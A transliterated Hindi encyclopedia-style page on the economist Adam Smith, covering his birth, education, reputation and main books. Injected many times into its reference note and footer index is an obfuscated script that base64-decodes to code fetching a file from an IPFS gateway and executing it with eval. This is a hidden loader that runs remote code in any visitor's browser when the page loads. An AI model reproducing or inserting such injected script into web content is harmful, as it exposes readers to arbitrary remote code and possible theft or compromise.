एडम स्मिथ

	edam smith
	edam smith\|200px\|center
poora nam	edam smith
janm	5 joon ya 16 joon, 1723
janm bhoomi	sk aautalaind, gret briten
mrityu	17 julaee, 1790
mrityu sthan	gret briten
mukhy rachanaean	'd thyori aauf moral seantimeants', 'd velth aauf neshans' adi.
vidyalay	'glasago vishvavidyalay', 'a॓ksaphord vishvavidyalay'
prasiddhi	darshanik tatha arthashastri
nagarikata	british
any janakari	apane paitrik gram mean rahate hue hi smith ne apani sarvadhik charchit pustak 'd velth aauf neshans' poori ki, jo rajaniti vijnan aur arthashastr par anoothi pustak hai.

edam smith (aangrezi: Adam Smith ; janm- 5 joon ya 16 joon, 1723, sk aautalaind, gret briten; mrityu- 17 julaee, 1790) ek prasiddh sk aautish nitivetta, darshanik aur rajanaitik arthashastri the. unhean "arthashastr ka pitamah" bhi kaha jata hai.

janm

edam smith ke janm ki tithi sunishchit nahian hai. kuchh vidvanh usaka janm 5 joon, 1723 ko tatha kuchh usi varsh ki 16 joon ko manate haian. usaka janm skatalaiand ke ek gaanv kirkaldi mean hua tha. edam ke pita kastam vibhag mean iancharj rah chuke the, kiantu unaka nidhan smith ke janm se lagabhag chhah mahine pahale hi ho chuka tha. edam apane mata-pita ki sanbhavatah akeli santan tha.^[1]

shiksha

pita ki mrityu ke pashchath smith ko usaki maan ne 'glasago vishvavidyalay' mean padhane bhej diya. us samay smith ki avastha keval chaudah varsh thi. prakhar buddhi hone ke karan usane skool star ki padhaee achchhe aankoan ke sath poori ki, jisase usako chhatravritti milane lagi. isase age ke adhyayan ke lie 'a॓ksaphord vishvavidyalay' jane ka rasta khul gaya. vahaan usane prachin yooropiy bhashaoan ka jnan prapt kiya. us samay tak yah tay nahian ho paya tha ki bhasha vijnan ka vah vidyarthi age chalakar arthashastr ke kshetr mean n keval nam kamaega, balki apani maulik sthapanaoan ke dam par vaishvik arthavyavastha ke kshetr mean yugaparivartanakari yogadan bhi dega.

khyati

san 1738 mean smith ne suprasiddh vidvan-darshanik phraansis hachisan ke netritv mean naitik darshanashastr mean snatak ki pariksha pas ki. vah phraansis ki medha se atyant prabhavit tha tatha usako evan usake adhyapan mean bitae ge dinoan ko, avismaraniy manata tha. atyant medhavi hone ke karan smith ki pratibha k aaulej star se hi pahachani jane lagi thi. isalie adhyayan poora karane ke pashchath yuva smith jab vapas apane paitrik nagar skataleand pahuancha, tab tak vah anek mahattvapoorn lekchar de chuka tha, jisase usaki khyati phailane lagi thi.^[1]

rachanaean

apane paitrik gram mean rahate hue smith ne apani sarvadhik charchit pustak 'd velth aauf neshans' poori ki, jo rajaniti vijnan aur arthashastr par anoothi pustak hai. 1776 mean pustak ke prakashan ke sath hi edam smith ki ganana apane samay ke moordhany vidvanoan mean hone lagi. is pustak par darshanashastr ka prabhav hai. jo log smith ke jivan se parichit nahian haian, unhean yah janakar aur bhi ashchary hoga ki smith ne is pustak ki rachana ek darshanashastr ka pradhyapak hone ke nate apane adhyapan kary ke sanbandh mean ki thi. isake atirikt edam smith apani rachana 'd thyori aauf moral seantimeants' (1759) ke lie bhi jane jate haian.

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 edam smith: adhunik arthashastr ka nirmata (hindi) akharamala. abhigaman tithi: 16 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[aa-1] 1.0 ^1.1 edam smith: adhunik arthashastr ka nirmata (hindi) akharamala. abhigaman tithi: 16 march, 2015.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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